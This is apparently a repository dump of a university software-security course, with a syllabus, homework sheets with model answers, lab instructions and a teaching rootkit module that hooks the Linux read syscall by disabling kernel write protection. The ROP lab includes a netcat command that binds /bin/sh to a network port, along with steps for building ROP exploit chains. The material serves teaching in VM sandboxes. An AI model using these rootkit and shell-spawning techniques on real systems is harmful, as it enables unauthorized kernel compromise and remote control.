DEBIAN_FRONTEND=noninteractive apt-get -y install automake bison flex 89 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install libelf-dev uncrustify 90 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install uthash-dev 91 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install libinih-dev 92 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install coccinelle 93 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install phoronix-test-suite 94 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install ruby libz-dev 95 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install zlib1g-dev 96 | SHELL 97 | end 98 | -------------------------------------------------------------------------------- /docs/2021/vagrants/lab7/rootkit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | MODULE_LICENSE("GPL"); 7 | MODULE_AUTHOR("Thomas"); 8 | MODULE_DESCRIPTION("Hello Module"); 9 | MODULE_VERSION("0.0.1"); 10 | 11 | #define START_ADDRESS 0xffffffff81000000 12 | #define END_ADDRESS 0xffffffffa2000000 13 | #define SYS_CALL_NUM 300 14 | 15 | #define DISABLE_W_PROTECTED_MEMORY \ 16 | do { \ 17 | preempt_disable(); \ 18 | write_cr0(read_cr0() & (~ 0x10000)); \ 19 | } while (0); 20 | #define ENABLE_W_PROTECTED_MEMORY \ 21 | do { \ 22 | preempt_enable(); \ 23 | write_cr0(read_cr0() | 0x10000); \ 24 | } while (0); 25 | 26 | void **sys_call_table; 27 | 28 | void **find_syscall_table(void) 29 | { 30 | void **sctable; 31 | void *i = (void*) START_ADDRESS; 32 | 33 | while (i < (void*)END_ADDRESS) { 34 | sctable = (void **) i; 35 | // sadly only sys_close seems to be exported -- we can't check against more system calls 36 | if (sctable[__NR_close] == (void *) sys_close) { 37 | size_t j; 38 | // sanity check: no function pointer in the system call table should be NULL 39 | for (j = 0; j < SYS_CALL_NUM; j ++) { 40 | if (sctable[j] == NULL) { 41 | goto skip; 42 | } 43 | } 44 | return sctable; 45 | } 46 | skip: 47 | i += sizeof(void *); 48 | } 49 | 50 | return NULL; 51 | } 52 | 53 | unsigned long read_count = 0; 54 | 55 | asmlinkage long (*original_read)(unsigned int, char __user *, size_t); 56 | 57 | asmlinkage long hacked_read(unsigned int fd, char __user *buf, size_t count) 58 | { 59 | read_count ++; 60 | 61 | pr_info("%d reads so far!\n", read_count); 62 | return original_read(fd, buf, count); 63 | } 64 | 65 | static int __init lkm_example_init(void) { 66 | printk(KERN_INFO "Hello, World!\n"); 67 | 68 | sys_call_table = find_syscall_table(); 69 | pr_info("Found sys_call_table at %p\n", sys_call_table); 70 | 71 | void **modified_at_address = &sys_call_table[__NR_read]; 72 | void *modified_function = hacked_read; 73 | 74 | DISABLE_W_PROTECTED_MEMORY 75 | original_read = xchg(modified_at_address, modified_function); 76 | ENABLE_W_PROTECTED_MEMORY 77 | 78 | return 0; 79 | } 80 | 81 | static void __exit lkm_example_exit(void) { 82 | printk(KERN_INFO "Goodbye, World!\n"); 83 | } 84 | 85 | module_init(lkm_example_init); 86 | module_exit(lkm_example_exit); 87 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | # COMSM0049: Systems & Software Security (S3) 2 | 3 | The [System & Software Security Unit](https://www.bris.ac.uk/unit-programme-catalogue/UnitDetails.jsa?ayrCode=21%2F22&unitCode=COMSM0049) at Bristol is assessed either through [exam](https://www.bris.ac.uk/unit-programme-catalogue/UnitDetails.jsa?ayrCode=21%2F22&unitCode=COMSM0050) XOR [coursework](https://www.bris.ac.uk/unit-programme-catalogue/UnitDetails.jsa?ayrCode=21%2F22&unitCode=COMSM0051). 4 | The exam option is worth 10 credits and the coursework option 15 credits. 5 | As per [university guidelines](http://www.bristol.ac.uk/academic-quality/assessment/regulations-and-code-of-practice-for-taught-programmes/programme-design/) "one credit point represents approximately 10 notional hours of student input". 6 | 7 | ## Schedule 8 | 9 | ### Week 1-7 10 | - Monday 11am-12pm QUEENS BLDG 1.68 - Lecture 11 | - Tuesday 1-3pm MVB 1.15 - Lab sessions 12 | 13 | ### Week 8-11 14 | [The coursework is available on the unit Github page.](https://cs-uob.github.io/COMSM0049/coursework/) 15 | 16 | [A PDF is also available.](https://github.com/cs-uob/COMSM0049/blob/master/docs/coursework/coursework.pdf) 17 | 18 | ### Week 12: 19 | 20 | Revision session will be published in due time on Teams COMSM0049: Systems and Software Security (Teaching Unit) 2023/24 (TB-1, A) 21 | [Teams channel Link](https://teams.microsoft.com/l/channel/19%3a5IMsIc5ntnsf4jmmq6g7KNwN2epdvrb_vs91FR7jafo1%40thread.tacv2/General?groupId=e990e356-9e3d-4764-9172-5df2ee2329db&tenantId=b2e47f30-cd7d-4a4e-a5da-b18cf1a4151b) 22 | 23 | 24 | 25 | ## People 26 | 27 | The relevant people for this unit are: 28 | 29 | | Person | Role | Contact | 30 | |----------------|---------------|---------------------------------------------------------------------| 31 | | Sana Belguith | Unit Director | [sana.belguith@bristol.ac.uk](mailto:sana.belguith@bristol.ac.uk) | 32 | | Joseph Hallett | Lecturer | [joseph.hallett@bristol.ac.uk](mailto:joseph.hallett@bristol.ac.uk) | 33 | | Andy Baldrian | TA | [andy.baldrian@bristol.ac.uk](mailto:andy.baldrian@bristol.ac.uk) | 34 | | Graham Peden | TA | [gp15281@bristol.ac.uk](mailto:gp15281@bristol.ac.uk) | 35 | | Akin Eker | TA | [akin.eker@bristol.ac.uk](mailto:akin.eker@bristol.ac.uk) | 36 | | Emerson Suter | TA | [ph19691@bristol.ac.uk](mailto:ph19691@bristol.ac.uk) | 37 | 38 | ## Support 39 | 40 | You may need help at different stages of this unit. 41 | The most effective way to get the help you need is to: 42 | 43 | 1. Check unit slides/notes. 44 | 2. Try the Teams channel for the unit 45 | 3. Contact [Sana](mailto:sana.belguith@bristol.ac.uk) or [Joseph](mailto:joseph.hallett@bristol.ac.uk). 46 | 47 | Questions on the Teams channel should be your preferred course of action as every students on the unit can benefit from the answers (otherwise we end up saying the same thing repeatedly). 48 | 49 | ## Course Structure 50 | 51 | | Week | Lecture (Monday 11am-12pm QUEENS BLDG 1.68 ) | Lab (Tuesday 1-3pm MVB 1.15) | Homework | 52 | |------------|-------------------------------------------------------------------------------------|----------------------------------|-----------------| 53 | | 1 (16/09) | [Lecture 1: Interesting bugs and where to find them (*Joseph*)](lectures/1/slides.pdf) | [Lab 1: Assembly refresher](https://github.com/cs-uob/COMSM0049/blob/master/docs/labs/1.md) | [Homework](https://github.com/cs-uob/COMSM0049/blob/master/docs/extra/1.md) | 54 | | 2 (23/09) |[Lecture 2: Heap overflows and the Malloc Maleficarum (Joseph)](lectures/2/slides.pdf) | [Lab 2: Format strings](https://github.com/cs-uob/COMSM0049/blob/master/docs/labs/2.md) | [Homework](https://github.com/cs-uob/COMSM0049/blob/master/docs/extra/2.md) | | | 55 | | 3 (30/09) | [Lecture 3: Return oriented programming (*Joseph*)](lectures/3/slides.pdf) | [Lab 3: Stack smashing](https://github.com/cs-uob/COMSM0049/blob/master/docs/labs/3.md) | [Homework](https://github.com/cs-uob/COMSM0049/blob/master/docs/extra/3.md) | 56 | | 4 (07/10) | [Lecture 4: Fuzzing (*Sana*)](https://github.com/cs-uob/COMSM0049/blob/master/docs/lectures/4/Intro-fuzzzing.pptx) |[Lab 4: ROP](https://github.com/cs-uob/COMSM0049/blob/master/docs/labs/4.md) | [Homework](https://github.com/cs-uob/COMSM0049/blob/master/docs/extra/4.md)| 57 | | 5 (14/10) |[Lecture 5: Access Control (*Sana*)](https://github.com/cs-uob/COMSM0049/blob/master/docs/lectures/5/Access%20Control.pptx) | [Lab 5: Fuzzing](https://github.com/cs-uob/COMSM0049/blob/master/docs/labs/5.md) | [Homework](https://github.com/cs-uob/COMSM0049/blob/master/docs/extra/5.md) | 58 | |5 (21/10)|--------------Reading Week----------|-----------Reading Week----------|-----------------------| 59 | | 7 (28/10) | [Lecture 6: Rowhammer, Spectre and Meltdown (*Joseph*)](lectures/6/slides.pdf) |[In-Class Test] | [Homework](https://github.com/cs-uob/COMSM0049/blob/master/docs/extra/6.md) | 60 | | 8 (04/11) | [Lecture 7: Hardware Security (*Sana*)](https://github.com/cs-uob/COMSM0049/blob/master/docs/lectures/7/Hardware%20Security.pptx))) | [Lab 7: Sandboxing](https://github.com/cs-uob/COMSM0049/blob/master/docs/labs/6.md) | [Homework](https://github.com/cs-uob/COMSM0049/blob/master/docs/extra/7.md) | 61 | | 9 (11/11) | Coursework | Coursework | | | 62 | | 10 (18/11) | Coursework | Coursework | | | 63 | | 11 (25/12) | Coursework | Coursework | | | 64 | | 12 (02/12) | Revision | Revision | | | 65 | 66 | As per appropriate for a master-level unit, students are expected to work independently outside of lectures and labs. 67 | Hence, reading materials and exercises are provided alongside labs and lectures. 68 | Students (especially those on the coursework option) are **very strongly encouraged** to do this work diligently during the first 7 weeks of the term. 69 | Students will struggle to complete their coursework on time if they haven't engaged with the unit material beforehand. 70 | 71 | You can find in this link lab notes that would help you complete the labs: [Lab notes](https://github.com/cs-uob/COMSM0049/blob/master/docs/Labs%20Soluti/Lab%20Notes.pptx) 72 | 73 | ## Homework 74 | 75 | This unit comes with reading material and homework (It is an Masters level unit, and one lecture a week is never going to be enough time to cover everything). Please make sure you go through it because it *may* crop up on any exam we set. We'll try and keep it fairly light (read some papers, watch a video) and I'll try and give you questions in the style of the exam in there. Ask in the labs if you want solutions, or try and mark them amongst yourselves (tip: if a question is worth 5 marks we generally are expecting 5 points to be made; if a question is worth 15 we're expecting roughly three times the work, but are more interested in your reasoning and thinking: there may not be any definitively *right* answer!) 76 | 77 | -------------------------------------------------------------------------------- /docs/coursework/coursework.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/coursework/coursework.pdf -------------------------------------------------------------------------------- /docs/diagrams/printf-stack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/diagrams/printf-stack.png -------------------------------------------------------------------------------- /docs/extra/1.md: -------------------------------------------------------------------------------- 1 | # Week 1 Homework 2 | 3 | - Go read [Smashing the Stack For Fun and Profit by Aleph One](http://phrack.org/issues/49/14.html) 4 | - Go read [Exploiting a Format String Bug in Solaris CDE by Marco Ivaldi](http://phrack.org/issues/70/13.html) 5 | - Go lookup what the different [X86 calling conventions](https://en.wikipedia.org/wiki/X86_calling_conventions) are and make a note of them (in particular make sure you read about `cdecl`, `syscall` and the `x86-64` conventions... you'll need them for this course! 6 | - Go watch this video from LiveOverflow [Explaining Dirty COW local root exploit - CVE-2016-5195](https://youtu.be/kEsshExn7aE) and check you understand the race condition and how it works (12 minutes) 7 | - Go watch this video from Retro Game Mechanics [Super Mario World Credits Warp Explained](https://youtu.be/vAHXK2wut_I) as a *fun* example of arbitrary code execution. 8 | 9 | ## Exercises 10 | 11 | 1. The `gets()` function from the C standard library is considered dangerous: explain why, how it could be exploited and what a programmer should use instead? (5 marks) 12 | 13 | 2. Explain how a system call is made on Linux for a 32bit X86 system (5 marks) 14 | 15 | 3. Different operating systems have taken different approaches to handling dangerous standard library functionality (like the ~%n~ format string specifier). Alice says these features should be removed as they can be dangerous, but Bob says that they cannot be removed because legacy code may rely on them and in any case it is not the operating systems job to protect the user from their own mistakes. Discuss (i.e. both sides of the argument with a conclusion) who is right and the relative tradeoffs (15 marks) 16 | 17 | 18 | 19 | Answers (do not check this before you try to answer the exercices alone) 20 | 21 | 1. Gets reads from standard input into a buffer pointed to by its first argument (1). 22 | It is considered dangerous because if the input is larger than the buffer itself then gets will continue writing (1) over adjacent memory (1). 23 | If adjacent memory contains control flow data (eg return addressess) then this can be over written and control flow hijacked leading to arbitrary code execution (1). Don't use gets... use bounded variants instead (1). 24 | 25 | 2. Syscall number in eax (1). 26 | Arguments in ebx ecx edx esi edi (1) 27 | Additional arguments (if necessary via the stack) (1) 28 | Call int 0x80 to trigger the syscall (1) 29 | Return code in eax (1) 30 | 31 | 3. Breaking legacy code is always problematic, and we should usually try and avoid it. 32 | That said, in this case there may be an argument for it as %n is relatively obscure and it opens up several opportunities for abuse. 33 | Code that does use it could be rewritten relatively trivially for most cases, even for a relatively inexperienced programmer. 34 | Looking at the system log for my OpenBSD system which logs uses I can't see any applications that actually use it in my day to day use so breaking it may be justified. 35 | 36 | That said, there may be the odd legitimate use. And where source code is long since lost it would be a shame to break others apps just for the sake of a bug which may not be exploitable in there software. It is still a part of the C standards (and always will be of the legacy standards)... and altering them is not in the remit of most OS vendors, and would set a dangerous precedent and incourage incompatibility between OSs. 37 | 38 | Perhaps warning on its use more and more vociferously is the right approach in the short term (compiler and user warnings). Notifiying users that their apps will imminently be broken and pushing standards organisations to kill the feature in the longer term and empirically measuring how much actually depends on it before ultimately ditching it is the right approach long term? Ultimately though, arguments for getting rid of it outweigh the benefits. 39 | 40 | 41 | 42 | 43 | -------------------------------------------------------------------------------- /docs/extra/2.md: -------------------------------------------------------------------------------- 1 | # Week 2 Homework 2 | 3 | ## Reading 4 | 5 | (Key bits marked with a *, rest optional) 6 | 7 | - * [Vudu malloc tricks (Michel "MaXX" Kaempf)](http://phrack.org/issues/57/8.html) 8 | - * [Once upon a free (anonymous)](http://phrack.org/issues/57/9.html) 9 | - [The Malloc Maleficarum (Phantasmal Phantasmagoria)](https://seclists.org/bugtraq/2005/Oct/118) 10 | - [The Malloc Des-Maleficarum 11 | (blackngel)](http://phrack.org/issues/66/10.html) :: A practical 12 | guide to the Malloc Maleficarum... 13 | 14 | - * [Glibc Malloc 15 | Internals](https://sourceware.org/glibc/wiki/MallocInternals) :: a really good 16 | guide to how malloc works 17 | 18 | ## Alternative explanations and videos 19 | 20 | - [Live Overflow 0x14: The Heap: what does malloc() 21 | do?](https://www.youtube.com/watch?v=HPDBOhiKaD8) 22 | - [Live Overflow 0x15: The Heap: How to exploit a Heap Overflow](https://www.youtube.com/watch?v=TfJrU95q1J4) 23 | - [Live Overflow 0x16: How do use-after-free exploits work?](https://youtu.be/ZHghwsTRyzQ) 24 | - [Live Overflow 0x17: The Heap: Once upon a 25 | free()](https://youtu.be/gL45bjQvZSU) 26 | - [Live Overflow 0x18: The Heap: dlmalloc unlink() exploit](https://youtu.be/HWhzH--89UQ) 27 | 28 | ## Exercises 29 | 30 | 1. Explain what is meant by an arena, a heap, and a chunk and how they 31 | relate? (5 marks) 32 | 33 | 34 | 35 | 36 | 2. To defend against use after free attacks, Alice has the following 37 | macro defined: 38 | 39 | `#define FREE(x) { free(x); x = NULL; }` 40 | 41 | Is that going to be sufficient to stop the vulnerability and why? 42 | What tradeoffs are being made? What about compiler optimizations? 43 | (5 marks) 44 | 45 | 46 | 47 | 3. The [CHERI architecture](https://www.cl.cam.ac.uk/research/security/ctsrd/cheri/) is a (really cool) new instruction set 48 | architecture that makes it impossible to exploit buffer overflows by 49 | replacing _pointers_ with _capabilities_; that is bounded data 50 | structures that provide hardware protection against buffer overflows 51 | by ensuring that all pointers are bounds checked (they're not just 52 | an address but instead a base address and an offset that defines the 53 | permissible range, that can't be fiddled with via register 54 | arithmetic). Speculate on whether these new capabilities would also 55 | protect against heap overflow attacks in particular use after free. 56 | 57 | ...okay maybe that last one would be rather mean for an exam; speculate away and we can discuss in the next lab if anyone is keen! 58 | 59 | (also... Microsoft have recently anounced that they'll including support for CHERI primitives in the latest version of Windows; sometimes research really does become *real world* technology!) 60 | 61 | 62 | 88 | -------------------------------------------------------------------------------- /docs/extra/3.md: -------------------------------------------------------------------------------- 1 | # Week 3 Homework 2 | 3 | ## Reading 4 | 5 | There was quite a lot of reading last week..., so lets lighten it up a 6 | bit this week. 7 | 8 | - [Heres the disclosure for the return-to-libc exploit](https://seclists.org/bugtraq/1997/Aug/63) 9 | 10 | Curl yesterday had a heap-based buffer overflow released! Curl (if you haven't 11 | heard of it) is one of those fundamental technologies holding up the internet; 12 | so it's always interesting to see these severe bugs appearing… 13 | 14 | - [Disclosure notice](https://curl.se/docs/CVE-2023-38545.html) 15 | - [Redhat leaked the patch a little early…](https://cohost.org/lifning/post/3137540-lib-curl-cve-2023-38) 16 | 17 | ## Alternative explanations and videos 18 | 19 | - [LiveOverlow 0x29: Introducing Weird Machines: ROP Differently 20 | Explaining part 1](https://youtu.be/8Dcj19KGKWM) (quite a nice 21 | high level introduction to ROP... the lab will give you a more 22 | practical intro) 23 | 24 | 25 | ### A Bonus (for those interested) 26 | 27 | Last week we talked about heap overflows and use after free bugs. 28 | Last summer, a *brilliant* exploit was demonstrated in the TAS Block 29 | of the *Summer Games Done Quick* speedrunning conference: Legend of Zelda Ocarina of Time Triforce 30 | Percent. 31 | 32 | If you haven't seen it, have an hour to spare and have a fondness for 33 | old Nintendo games (or are old enough to have been a kid in the 90s 34 | and spent many hours on the playground discussing if it was actually 35 | possible to get the Triforce in OoT...) I'd strongly 36 | recommend it. 37 | 38 | - [OoT Triforce Percent](https://youtu.be/2x_pqyrf9lA) 39 | 40 | It ends with a lovely note by the developers that hacking is often 41 | portrayed as being *destructive*... breaking systems. Yet their 42 | exploit is *creative*: by using hacking techniques they can create new 43 | games, new content, and make childish dreams come true. 44 | 45 | As well as the run itself, theres also an explanation video of how it 46 | works. 47 | 48 | - [Finally Obtaining the Triforce in Ocarina of Time: Triforce Percent Explained](https://www.youtube.com/qBK1sq1BQ2Q) 49 | 50 | These are all techniques we've been covering, and which *you've* been 51 | doing in the labs. *Cool or what?* 52 | 53 | ## Exercises 54 | 55 | 1. Describe at a high level how to gain arbitrary code execution with W^X memory by 56 | using shellcode without using ROP. Hint: you'll need to use 57 | `mprotect()`. (5 marks) 58 | 59 | 60 | 2. Write a ROP chain to set =rax= to 1 and =rbx= to 2. 61 | Assume you have access to the following gadgets: 62 | 63 | ```assembly 64 | xor_ab: xor rax, rbx ; rax = rax ^ rbx; 65 | ret 66 | 67 | xor_ba: xor rbx, rax ; rbx = rbx ^ rax 68 | ret 69 | 70 | pop_a: pop rax; 71 | ret 72 | ``` 73 | 74 | (5 marks) 75 | 76 | 77 | 78 | 3. To further reduce the amount of entropy spent randomising libraries, 79 | some systems randomise the offset a library will be loaded at on 80 | boot and then reuse the same offset for all loaded libraries in that 81 | session; rather than randomising on every program load. Discuss the 82 | tradeoff and suggest whether this would make a ROP based attack 83 | harder or easier? 84 | 85 | (15 marks) 86 | 87 | 88 | 119 | -------------------------------------------------------------------------------- /docs/extra/4.md: -------------------------------------------------------------------------------- 1 | ## Week 4 Homework 2 | 3 | ## Reading 4 | 5 | 1. book (Chapter 1, section 1.3): Fuzzing for Software Security Testing and Quality Assurance. Ari Takanen, Jared DeMott, Charlie Miller 6 | 2. Godefroid, Patrice. "Fuzzing: Hack, art, and science." Communications of the ACM 63.2 (2020): 70-76. 7 | 3. Stephens, Nick, et al. "Driller: Augmenting fuzzing through selective symbolic execution." NDSS. Vol. 16. No. 2016. 8 | 4. Dolan-Gavitt, Brendan, et al. "Lava: Large-scale automated vulnerability addition." 2016 IEEE Symposium on Security and Privacy (SP). IEEE, 2016. 9 | 5. 10 | ## Exercices: 11 | 12 | 1. For an unknown input file format, which of the fuzzing types is more appropriate-- mutational or generative (grammar) and why? 13 | 2. What are shortcomings of blackbox fuzzing \[hint: what is the proxy metric for a good fuzzer?\] 14 | 3. Read the article "Fuzzing: Hack, Art, and Science" [pdf link](https://patricegodefroid.github.io/public_psfiles/Fuzzing-101-CACM2020.pdf) and answer the following questions: 15 | 1. Why fuzzing is more challenging for netwroked/server type applications? 16 | 2. On page 74, 3rd column, it is written "Note that full program statement coverage is a "necessary but not sufficient" condition to find all the bugs in a program.". Can you elaborate this statement why it is necessary but not sufficient? 17 | 3. In general, which fuzzing type is suitable for fuzzing XML and C code parsers/compiler? 18 | 19 | 28 | -------------------------------------------------------------------------------- /docs/extra/5.md: -------------------------------------------------------------------------------- 1 | ## Week 4 Homework 2 | 3 | ## Reading 4 | [1] Stallings, W., Cryptography and Network Security: Principles and Practice, 7th ed., 2017, Pearson. 5 | 6 | [2] Goodrich M. and Tamassia Roberto, Introduction to computer security, Boston, MA : Pearson, 2011. 7 | 8 | [3]- Bishop M., Introduction to computer security, Chapter 12, first printing, 2004. 9 | 10 | [4] Prevelakis, V. and Spinellis, D., 2001, June. Sandboxing Applications. In USENIX Annual Technical Conference, FREENIX Track (pp. 119-126). 11 | 12 | [5] Greamo, C. and Ghosh, A., 2011. Sandboxing and virtualization: Modern tools for combating malware. IEEE Security & Privacy, 9(2), pp.79-82 13 | 14 | ## Exercices 15 | Task 1: 16 | • Suppose the private key file for J is object O1: Only J can read 17 | • Suppose the public key file for J is object O2: All can read, only J can modify 18 | • Suppose all can read and write from object O3 19 | What’s the access matrix? 20 | 21 | Task 2: 22 | 1. Elaborate the Access Control Matrix for the following example: 23 | Accountant Ltd is a financial institutions, their access control policies have been designed by Adam who is a security consultant. Adam identified 3 objects (Operating System, Accounting Data and Audit Trial), and 4 subjects. 24 | • The manager is allowed read and modify two objects: Operating System, Accounting Data, and can only read the Audit Trial. 25 | • The Audit Trial can be read by all subjects but only the Auditor can modify it. 26 | • The accounting data can only be read, and modified by Manager and Accounts Programs, however all other subjects can access them. 27 | • The System Admin can read, write and execute the operating system but can ready only Accounting Data and Audit Trial. 28 | 2. Write the ACL for Audit Trial 29 | 3. Write the ACL for Accounting Data 30 | 4. Write the ACL for Operating System 31 | 32 | 53 | -------------------------------------------------------------------------------- /docs/extra/6.md: -------------------------------------------------------------------------------- 1 | # Week 6 Homework 2 | 3 | As always, skim the lot of the reading, and go into more detail if 4 | there are things you're particularly interested in or which I didn't 5 | explain well in the lecture. Whilst the required reading isn't going 6 | to necessarily appear _directly_ in the exam, being able to illustrate 7 | any points you make from the core lectures with examples from the 8 | reading or using it to give wider context is **always** going to be 9 | worth a mark or two. 10 | 11 | - Go watch _Mark Seaborn_ and _Halvar Flake's_ Blackhat talk about 12 | Rowhammer: [Exploiting the DRAM Rowhammer Bug to Gain Kernel Privileges](https://youtu.be/0U7511Fb4to) (because primary sources 13 | are always better than secondary ones `;-)`) 14 | 15 | - Go _skim_ Google's Project Zero disclosure of the Spectre and 16 | Meltdown vulnerabilities: [Reading privileged memory with a 17 | side-channel](https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html) 18 | (primary sources _are_ cool and all but there is far more information 19 | here than you need, especially about branch prediction) 20 | 21 | 22 | ## Exercises 23 | 24 | 1. Why do you need to flush the cache in order to exploit the Rowhammer 25 | vulnerability? (5 marks) 26 | 27 | 28 | 29 | 2. One approach to mitigating the Spectre and Meltdown attacks is to 30 | disable symmetric multithreading. The OpenBSD operating 31 | system does this by default, and most other operating systems now 32 | provide a mechanism to do so too. Alice has their own laptop which 33 | only they use. They would rather have the performance boost over 34 | the increased security. Are they right? (15 marks) 35 | 36 | 78 | 79 | -------------------------------------------------------------------------------- /docs/extra/7.md: -------------------------------------------------------------------------------- 1 | ## Homework: 2 | 3 | ## Readings: 4 | 1. Costan, V. and Devadas, S., 2016. Intel SGX explained. Cryptology ePrint Archive. 5 | 6 | 2. Alves, T., 2004. Trustzone: Integrated hardware and software security. White paper. 7 | 8 | 3. Rushby, J., 1984, September. A trusted computing base for embedded systems. In Proceedings of the 7th DoD/NBS Computer Security Conference (pp. 294-311). 9 | 10 | 4. Osborn, J.D. and Challener, D.C., 2013. Trusted platform module evolution. Johns Hopkins APL Technical Digest (Applied Physics Laboratory), 32(2), pp.536-543. 11 | 12 | ## Exercices: 13 | 1. Design conceptually the steps necessary to deploy a rootkit. 14 | 15 | 2. Explain how TPM could be used to detect rootkits. 16 | 17 | 3. Compare Intel SGX and ARM Trustzone. 18 | 19 | 28 | 29 | -------------------------------------------------------------------------------- /docs/extra/view-the-source.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cs-uob/COMSM0049/5bf3accde99a82b171fbb13d0f862cd21010fd7d/docs/extra/view-the-source.jpg -------------------------------------------------------------------------------- /docs/labs/4.md: -------------------------------------------------------------------------------- 1 | # Lab 4 - ROP based Exploitation 2 | 3 | **Task 1**: Exploit the program and use ROPgadget to generate a ROP shellcode. 4 | 5 | **Task 2**: Write using ROPgadget a custom shellcode to spawn a reverse shell. 6 | 7 | Setting up the environment: 8 | 9 | 1. Here's a Vagrant file for this weeks lab that we have tested. 10 | 11 | ``` 12 | # -*- mode: ruby -*- 13 | # vi: set ft=ruby : 14 | 15 | Vagrant.configure("2") do |config| 16 | config.vm.define "box" do |box| 17 | box.vm.box = "ubuntu/bionic64" 18 | box.vm.hostname = "lab4-box" 19 | box.vm.provider "virtualbox" do |virtualbox| 20 | virtualbox.name="lab4-box" 21 | end 22 | end 23 | end 24 | ``` 25 | 26 | Run the usual `vagrant up` to bring the VM up, and `vagrant ssh` to login. Your current folder will be mounted in `/vagrant` as before. 27 | You'll need to install some extra dependencies for this lab to get going comfortably. From a shell: 28 | 29 | ``` 30 | sudo apt update 31 | sudo apt install -y python3-pip gdb gcc-multilib 32 | pip3 install capstone 33 | ``` 34 | 35 | 1. Download ROPGadget and install from: [URL](https://github.com/JonathanSalwan/ROPgadget). Its a github repo, so you can either clone it or (suggested) simple use "Download zip" option. 36 | 2. Download netcat (the latest release of netcat that comes pre-installed in Ubuntu has removed a particular option (-e) that we need. 37 | Having said that, official netcat release still shipped with that option! So, we are not completely artificial ;). [URL:](https://sourceforge.net/projects/netcat/). However, the same is also avaialble [here](https://github.com/cs-uob/COMSM0049/blob/master/docs/2021/code/nc071.tar.gz). 38 | 3. untar it and build: `./configure` and `make` command (**do not do** *make install*!) 39 | 4. move `src/netcat` to `/tmp/nc`: `cp src/netcat /tmp/nc` (check if the binary is working as expected `/tmp/nc --help`). 40 | 5. Compile [vuln3.c](https://github.com/cs-uob/COMSM0049/blob/master/docs/2021/code/vuln3.c) as `gcc -fno-stack-protector -m32 -static vuln3.c -o vuln3-32` 41 | 6. Find the amount of padding you'll need to overflow the buffer and start overwriting the saved return address. 42 | 7. Use ROPgadget to build a ROP shellcode. 43 | 44 | ROPgadget --binary vuln3-32 --ropchain > out-rop.txt 45 | 46 | Have a look at `out-rop.txt`. You'll see that at the bottom there is a Python program which you can complete to generate your shellcode exploit (in particular the buffer padding). Run the program generate the exploit and test it works with the vulnerable program. 47 | 48 | 8. The shellcode in the previous step execve'd `/bin/sh`. This time we'd like you to run the following command: 49 | 50 | /tmp/nc -lnp 5678 -tte /bin/sh 51 | 52 | This command will spawn a reverse-shell server listening on localhost port 5678 that feeds all the input it gets into `/bin/sh`. Effectively enabling you to run programs remotely! 53 | We're giving helper files to consult which provide a similar exploit for a different machine: [exploit-nc.py](https://github.com/cs-uob/COMSM0049/blob/master/docs/2021/code/exploit-nc.py), but you'll need to get it working on *your* machine. In particular the gadgets, configuration and Python version may be different! 54 | 55 | 9. Once successful, open another terminal and type: 56 | ``` 57 | /tmp/nc 127.0.0.1 5678 58 | pwd 59 | ``` 60 | You've got a reverse shell! 61 | 62 | # Hints 63 | 64 | 1. To figure out the padding needed to overflow the buffer try using binary search. If you run `perl -e 'print "A"x124, "DCBA"' >input` you can quickly test different inputs. What would you expect to see when you have correctly got control of the return address? What would you expect to see if you've gone too far compared to not far enough? 65 | 2. Can't concatenate strings and bytes? Just use bytes! `bytes("Your string", "ascii")`. 66 | 3. The calling convention for a system call on 32bit X86 Linux is: `eax` syscall number, `ebx,ecx,edx,esi,edi,ebp` arguments as required. 67 | 4. Try and get the exploit chain running first! Break on the first gadget (In GDB: `b *0x08BLABLA`) and check it is working as expected. Are things going into the right registers? (In GDB: `si`: step instruction, `i r`: info registers) 68 | 5. Once you're convinced the ROP chain is running the `strace` tool is very helpful to debug what system calls *actually* get made by your program. The `-v` flag will show all the arguments to system calls, `-e trace=execve` to just show `execve` calls. Does the call look like what you'd expect? You may have to add some new code to your exploit to get it working if the memory you're using isn't clean! 69 | 70 | # Optional bonus 71 | 72 | - Get the `nc` exploit going in 64-bit mode too! Is it easier or harder? 73 | - Have a play at using [pwntools](https://docs.pwntools.com/en/stable/) to write your exploit instead of ROPgadget. Is it easier? Harder? 74 | - Have a go at a return to libc exploit as discussed in the lecture. You'll need to defeat ASLR for this one. 75 | -------------------------------------------------------------------------------- /docs/labs/7.md: -------------------------------------------------------------------------------- 1 | # COMSM0049: Lab 6 -- Access Control 2 | 3 | ## Material 4 | 5 | **Vagrantfile** 6 | ```ruby 7 | Vagrant.configure("2") do |config| 8 | config.vm.box = "generic/debian10" 9 | config.vm.synced_folder ".", "/vagrant" 10 | config.vm.provision "shell", inline: "sudo apt-get update --yes" 11 | config.vm.provision "shell", inline: "sudo apt-get install --yes strace nasm" 12 | end 13 | ``` 14 | 15 | ### Preliminaries: 16 | The *ls* command is used to display the permissions of the files. You can refer to `man ls` if you need to know more about it. 17 | 18 | 1. Execute `ls -l /bin/ls` and discuss what it displays. 19 | 20 | 2. Discuss the existent permissions, identify each user permissions, and what is a *hard link* and how does it differ from a *soft* or *symbolic link*? 21 | 22 | 3. Identify the permissions for the `sudo` command (`ls -l $(command -v sudo)`) 23 | 24 | 25 | **Task 1:** Creating new users and checking the default permission 26 | 27 | Use **man** to find out the difference between : 28 | 29 | - adduser 30 | 31 | - useradd 32 | 33 | 1. Create three new users: Alice, Bob and Charlie and set passwords for 34 | each user. 35 | 36 | 2. Log in as Alice, create a file in Alice's home directory and check 37 | its default permissions. 38 | 39 | 3. Create a group named admins and add bob to it. See `man groupadd` 40 | 41 | 4. Change the group's ownership of the file from `alice` to `admins`. See `man chown` 42 | 43 | 5. Change the admins group permissions to read and write for the file 44 | you have created. See `man chmod` 45 | 46 | ### Discussion: 47 | 48 | 1. 